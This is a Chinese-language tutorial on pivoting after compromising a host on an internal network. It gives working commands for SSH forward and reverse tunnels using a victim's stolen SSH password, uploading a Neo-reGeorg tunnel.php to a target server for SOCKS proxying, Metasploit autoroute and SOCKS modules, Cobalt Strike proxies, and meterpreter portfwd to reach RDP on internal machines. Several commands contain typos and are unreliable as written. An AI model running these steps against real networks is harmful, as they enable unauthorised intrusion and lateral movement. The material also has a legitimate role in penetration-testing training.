SSH隧道技术分为正向隧道和反向隧道。
当我们拿下内网中的一台主机,假设内网IP为192.168.94.130,当内网中存在一台主机,IP为192.168.94.129,Web端口为8888,但是外网无法访问,在已经获得受害机192.168.94.130的SSH密码的情况下,可以使用SSH正向代理,将去往192.168.94.130的流量转发到192.168.94.129,从而访问内网主机的Web服务。
在受害机192.168.94.130上输入如下命令
ssh -CNfL 0.0.0.0:7777:192.168.94.129:8888 king@192.168.94.130
这条命令的含义是,对于任意的IP地址,当它访问到此机器本地的7777端口时,就会将流量转发到目标IP为192.168.94.129,目标端口为8888的机器上.
此时我们访问192.168.94.130:7777,即可访问到192.168.94.129:8888端口上。
并且在192.168.94.129的Web日志上,访问IP为192.168.94.130.
反向SSH隧道允许使用已建立的连接来建立从本地计算机到远程计算机的新连接Shell反弹。新的会话将更加安全。
假设在内网中拿下了两台主机,IP分别是192.168.74.131和192.168.74.130.但是都是直接使用SSH链接的
在目标主机上输入
#命令格式 #ssh -qTfnN -R [port]:[host]:[host-port] [remote ip] ssh -qTfnN -R 2222:127.0.0.1:22 kali@192.168.74.131
输入命令后输入目标机器的SSH密码即可建立一条SSH反向链接,将自己的22端口映射到192.168.74.131的2222端口上。
此时在192.168.74.131的主机上输入如下命令即可以SSH的方式链接到192.168.74.130主机上。
ssh -p null@127.0.0.1
一般来说遇到一台不出网主机的时候可以使用HTTP代理。经常要用到的工具是reGeorg,项目地址及使用方法如下:
https://github.com/L-codes/Neo-reGeorg
首先使用如下命令生成加密文件
python neoreg.py generate -k password
将生成的加密文件上传至目标服务器内
然后使用如下命令开启Sock5代理
python neoreg.py -k culin -u http://192.168.94.128/neoreg_servers/tunnel.php
此后使用Proxifiles即可转发流量
在Metersploit中获取会话后添加路由
run post/multi/manage/autoroute
添加路由后可以使用sock4代理即可
use auxiliary/server/socks_unc run
此后使用proxychains即可
Cobaltstrike的sock4代理是十分简单的并且稳定的,右击开启即可。
#MSFgetshell之后 #清理缓存 portfwd flush #添加转发 #portfwd add -L [Kali 外网IP] -l [Kali 端口] -p [目标 端口] -r [目标内网地址] portfwd add -L 192.168.0.115 -l 2020 -p 80 -r 10.10.10.128 #firefox ,即可访问10.10.10.128:80端口 http://192.168.0.115:2020
#MSFgetshell之后 #portfwd add -l [kali 端口] -p [目标 端口] -r [目标主机 外网IP] porfwd add -l 5555 -p 3389 -r 192.168.0.149 #查看列表 portfwd lsit #情况列表 portfwd flush #此时远程链接本地的5555端口即远程连接到目标的3389短裤